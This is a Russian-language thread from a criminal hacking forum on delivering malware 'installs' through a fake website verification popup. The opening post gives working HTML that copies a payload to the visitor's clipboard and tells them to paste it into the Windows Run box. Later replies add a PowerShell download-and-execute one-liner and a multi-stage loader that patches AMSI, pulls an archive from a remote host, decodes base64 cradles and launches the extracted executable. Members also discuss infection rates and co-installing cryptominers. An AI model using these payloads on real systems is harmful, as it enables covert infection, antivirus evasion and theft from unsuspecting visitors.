• XSS.stack #1 – первый литературный журнал от юзеров форума

Альтернативный способ инсталлов

dunkel

(L1) cache
Пользователь
Регистрация
29.06.2023
Сообщения
921
Реакции
1 102
Гарант сделки
1
Депозит
0.012 Ł
Демо https://dunkelrrr.github.io/Popup/
Плюсы:
-не нужны скачивания, расшифровка запароленных архивов, обход motw и скантайма ав (на этом шаге Drop-off Rate максимальный)
-сайт не считается "contains malicious software", не падает seo и траст
-работает когда жертва не хотела и не собирается ничего скачивать, допустим зашел на адалт, или ему просто что то очень надо сделать на сайте

Можете свой дизайн сделать/творчески оформить, и писать "Succes ✅" и закрывать оверлей когда прилетает лог с того же ip (чтобы реднек ниче не заподозрил и не побежал менять креды на акках)
1727900835842.png
HTML:
<!DOCTYPE html>
<html lang="en">
<head>
    <meta charset="UTF-8">
    <meta name="viewport" content="width=device-width, initial-scale=1.0">
    <title>Verification Modal</title>
    <link href="https://fonts.googleapis.com/css2?family=Roboto:wght@400;500;700&display=swap" rel="stylesheet">
    <style>
        body {
            font-family: 'Roboto', sans-serif;
            display: flex;
            justify-content: center;
            align-items: center;
            height: 100vh;
            margin: 0;
            background-color: #f5f5f5;
        }
        #openModal {
            padding: 15px 30px;
            font-size: 1.5rem;
            background-color: #468ef7;
            color: white;
            border: none;
            border-radius: 5px;
            cursor: pointer;
            transition: background-color 0.3s;
        }
        #openModal:hover {
            background-color: #356ac1;
        }
        .modal {
            display: none;
            position: fixed;
            z-index: 1;
            left: 0;
            top: 0;
            width: 100%;
            height: 100%;
            background-color: rgba(0, 0, 0, 0.4);
        }
        .modal-content {
            background-color: white;
            margin: 10% auto;
            padding: 30px;
            border: 1px solid #888;
            width: 80%;
            max-width: 600px;
            text-align: center;
            border-radius: 10px;
        }
        .modal h2 {
            color: #468ef7;
            font-size: 3rem;
        }
        .modal p {
            font-size: 2.25rem;
            text-align: center;
        }
        .modal .steps p {
            font-size: 2rem;
            line-height: 1.5;
        }
        .windows-icon {
            width: 25px;
            vertical-align: middle;
            margin: 0 5px;
        }
    </style>
</head>
<body>
    <button id="openModal">Open Verification Modal</button>
    <div id="myModal" class="modal">
        <div class="modal-content">
            <h2>Verification Steps</h2>
            <div class="steps">
                <p>1. Press Windows Button <img src="https://img.icons8.com/ios11/512/windows-10.png" class="windows-icon"/> + R</p>
                <p>2. Press CTRL + V</p>
                <p>3. Press Enter</p>
            </div>
        </div>
    </div>
    <script>
        const command = 'cmd'; //твой пейлоад
        function copyToClipboard() {
            navigator.clipboard.writeText(command);
        }
        document.getElementById("openModal").onclick = function() {
            copyToClipboard();
            document.getElementById("myModal").style.display = "block";
        }
        window.onclick = function(event) {
            if (event.target == document.getElementById("myModal")) {
                document.getElementById("myModal").style.display = "none";
            }
        }
    </script>
</body>
</html>
 
Последнее редактирование:
еще если в конце исполняемой строки добавить кучу пробелов то строка будет визуально пустой, а run просто проигнорит пробелы
powershell -Command "Invoke-WebRequest -Uri 'http://t41.kz/a.exe' -OutFile '$env:TEMP\a.exe'; Start-Process '$env:TEMP\a.exe'"
1727956662340.png
 
Тема не новая, нажми туда не знаю куда, раньше так в Осле можно было запустить файл и.т.д



По мне так проще сделать Paste Jacking ;) типа ключа для активации офиса и.т.д


 
Тема не новая, нажми туда не знаю куда, раньше так в Осле можно было запустить файл и.т.д



По мне так проще сделать Paste Jacking ;) типа ключа для активации офиса и.т.д


А как на это реагирует ав? Особенно корп сегмент. Можно ли реально в нынешних реалиях лить таким способом?
 
is like copy paste thing. but the problem is what will be the conversion rate of the installs from traffic from these kinds of landings? does this pour install good as compared to traditional way of downloading the file from landing and executing that
Думаю, если на трафистый сайт такую штуку подсадить на главную, задним фоном замылить и притемнить оригинальный сайт, ещё и сделать синхрон, что бы прошедших проверку пропускало- почему нет. Как старый забытый веб локер получится
 
А как на это реагирует ав? Особенно корп сегмент. Можно ли реально в нынешних реалиях лить таким способом?
На сайт? Ну можно картинки использовать вместо окна с текстом и обфусцировать строку которая копируется в буфер https://www.google.com/search?q=+powershell+without+powershell
 
o
also, if you add a bunch of spaces at the end of the executable line, the line will be visually empty, and run will simply ignore the spaces
powershell -Command "Invoke-WebRequest -Uri 'http://t41.kz/a.exe' -OutFile '$env:TEMP\a.exe'; Start-Process '$env:TEMP\a.exe'"
Посмотреть вложение 96333
I tried the powershell command but its throwing up error . Do you recommend any method to get the payload run?
 
Пожалуйста, обратите внимание, что пользователь заблокирован
Действительно, подскажет кто-то чистый способ установки без обнаружения АВ ?
Проверил. + - все известные способы палятся, включая msiexec.
Если мы не смотрим на чистоту твоей нагрузки, тогда на пример:
Шаг 1) Грузишь архив с твоей нагрузкой (payload.tar) к корень сайта (https://example.com/payload.tar)

Шаг 2) Ниже приведенный код публикуем в инете (например rentry.co) и экспортируем в raw-формат

Bash:
# Проверка, загружен ли класс 'Program' в текущий AppDomain
if (-not ([AppDomain]::CurrentDomain.GetAssemblies() |
          ForEach-Object { $_.GetTypes() } |
          Where-Object { $_.FullName -eq 'Program' })) {

    # Определение класса C# 'Program' с методами для манипуляции защитой памяти и патчингом функции
    $data = @"
    using System;
    using System.Runtime.InteropServices;

    public class Program
    {
        // Импорт GetProcAddress из kernel32.dll для получения адреса функции в DLL
        [DllImport("kernel32")]
        public static extern IntPtr GetProcAddress(IntPtr hModule, string procName);

        // Импорт LoadLibrary из kernel32.dll для загрузки DLL в адресное пространство процесса
        [DllImport("kernel32")]
        public static extern IntPtr LoadLibrary(string name);

        // Импорт VirtualProtect из kernel32.dll для изменения защиты на области выделенных страниц
        [DllImport("kernel32")]
        public static extern bool VirtualProtect(IntPtr lpAddress, UInt32 dwSize, uint flNewProtect, out uint lpflOldProtect);

        // Метод для патчинга функции AMSI (Antimalware Scan Interface)
        public static void Run()
        {
            // Загрузка DLL AMSI
            IntPtr lib = LoadLibrary("a"+"m"+"si."+"dll");

            // Получение адреса функции AmsiScanBuffer
            IntPtr amsi = GetProcAddress(lib, "Am"+"s"+"iScan"+"B"+"uffer");

            // Вычисление адреса для патчинга
            IntPtr final = IntPtr.Add(amsi, 0x84);

            // Изменение защиты памяти для разрешения записи
            uint old = 0;
            VirtualProtect(final, (UInt32)0x1, 0x40, out old);

            // Патчинг функции путем записи одного байта
            byte[] patch = new byte[] { 0x75 };
            Marshal.Copy(patch, 0, final, 1);

            // Восстановление оригинальной защиты памяти
            VirtualProtect(final, (UInt32)0x1, old, out old);
        }
    }
"@

    # Добавление класса C# в текущую сессию
    Add-Type $data -Language CSharp
}

# Выполнение метода Run класса Program
[Program]::Run()

# Проверка, загружен ли класс 'TarExtractor' в текущий AppDomain
if (-not ([AppDomain]::CurrentDomain.GetAssemblies() |
          ForEach-Object { $_.GetTypes() } |
          Where-Object { $_.FullName -eq 'TarExtractor' })) {

    # Определение класса C# 'TarExtractor' для извлечения файлов из TAR-архива в памяти
    $tarExtractorCode = @"
    using System;
    using System.IO;
    using System.Collections.Generic;

    public class TarExtractor
    {
        // Метод для извлечения файлов из TAR-архива, хранящегося в памяти
        public static Dictionary<string, byte[]> ExtractTarFromMemory(byte[] tarData)
        {
            var extractedFiles = new Dictionary<string, byte[]>();

            using (var memoryStream = new MemoryStream(tarData))
            {
                while (memoryStream.Position < memoryStream.Length)
                {
                    // Чтение заголовка каждого файла в TAR-архиве
                    byte[] header = new byte[512];
                    memoryStream.Read(header, 0, 512);

                    // Извлечение имени файла из заголовка
                    string fileName = System.Text.Encoding.ASCII.GetString(header, 0, 100).Trim('\0');
                    if (string.IsNullOrEmpty(fileName)) break;

                    // Извлечение размера файла из заголовка (в восьмеричном формате)
                    string fileSizeOctal = System.Text.Encoding.ASCII.GetString(header, 124, 12).Trim('\0').Trim();
                    long fileSize = Convert.ToInt64(fileSizeOctal, 8);

                    // Чтение данных файла
                    byte[] fileData = new byte[fileSize];
                    memoryStream.Read(fileData, 0, fileData.Length);

                    // Добавление файла в словарь
                    extractedFiles.Add(fileName, fileData);

                    // Пропуск заполнения до следующего 512-байтного блока
                    long padding = 512 - (memoryStream.Position % 512);
                    if (padding < 512)
                    {
                        memoryStream.Seek(padding, SeekOrigin.Current);
                    }
                }
            }

            return extractedFiles;
        }
    }
"@

    # Добавление класса C# в текущую сессию
    Add-Type -TypeDefinition $tarExtractorCode -Language CSharp
}

# Пауза выполнения на 10 секунд
Start-Sleep -Seconds 10

# URL TAR-файла для загрузки
$tarUrl = "https://example.com/payload.tar"

# Создание WebClient для загрузки TAR-файла
$webClient = New-Object System.Net.WebClient

# Загрузка данных TAR-файла
$tarData = $webClient.DownloadData($tarUrl)

# Извлечение файлов из загруженных данных TAR
$extractedFiles = [TarExtractor]::ExtractTarFromMemory($tarData)

# Создание временного каталога для хранения извлеченных файлов
$tempDir = [System.IO.Path]::Combine([System.IO.Path]::GetTempPath(), [System.Guid]::NewGuid().ToString())
New-Item -ItemType Directory -Path $tempDir | Out-Null

# Перебор извлеченных файлов
foreach ($file in $extractedFiles.Keys) {
    # Проверка, является ли файл исполняемым
    if ($file -match "\.exe$") {
        # Генерация случайного имени для исполняемого файла
        $randomExeName = -join ((0..3) | ForEach-Object { (65..90) + (97..122) | Get-Random | % {[char]$_} }) + ".tmp.exe"

        # Комбинирование пути временного каталога со случайным именем исполняемого файла
        $exeFilePath = [System.IO.Path]::Combine($tempDir, $randomExeName)

        # Запись исполняемого файла на диск
        [System.IO.File]::WriteAllBytes($exeFilePath, $extractedFiles[$file])

        # Выполнение извлеченного исполняемого файла
        Start-Process -FilePath $exeFilePath

        # Выход из цикла после выполнения первого исполняемого файла
        break
    }
}

В коде не забываем изменить линк на загрузку архива на свой. Код прокомментирован, думаю проблем не будет.

Ссылку на RAW в виде https://rentry.co/norhfvpz/raw шифруем в base64 (пример: aHR0cHM6Ly9yZW50cnkuY28vbm9yaGZ2cHovcmF3

Шаг 3) Закодированный линк на RAW вставляем в PS-скрипт1

Bash:
$RD = [bool]@(0x01BE);$UO = [System.Text.Encoding]::UTF8.GetString([System.Convert]::FromBase64String("закодированный в base64 линк"));$CO = New-Object Net.WebClient;$SOF = $CO.DownloadString($UO);iex $SOF;$null = [System.Collections.ArrayList]

Далее весь PS-скрипт1 кодируем в base64 и вставляем в PS-скрипт2

Bash:
ipconfig /flushdns

$Diagnostics = "U2V0LUNsaXBib2FyZCAtVmFsdWUgIiAiOw==";
$MUI = [System.Text.Encoding]::UTF8.GetString([System.Convert]::FromBase64String($Diagnostics));
Invoke-Expression $MUI;

[System.Diagnostics.Process]::Start("powershell", "-ep RemoteSigned -w 1 -enc
 `"Закодированный в base64 первый PS-скрипт1`"") | Out-Null;

exit;
0

Шаг 5) PS-скрипт2 который получили на выходе вставляем в POP-UP
 
I did it, and I'd say its very poor: around 5%
is like copy paste thing. but the problem is what will be the conversion rate of the installs from traffic from these kinds of landings? does this pour install good as compared to traditional way of downloading the file from landing and executing that
 
Пожалуйста, обратите внимание, что пользователь заблокирован
гениально, у меня как раз куча сайтов с траффиком которые я не знаю как конвертировать в инсталлы
это может быть палевно, если хочется чтобы сайты ещё прожили можно разместить баннер с рекламой обновления браузера, в зависимости от того какой браузер у посетителя исходя из юзер агента, либо просто любой браузер
кстати если интересно установить челам майнер и получить с этого процентов 90, то я бы посотрудничал : ) а то с инсталлами трабл, а софт есть
 


Напишите ответ...
  • Вставить:
Прикрепить файлы
Верх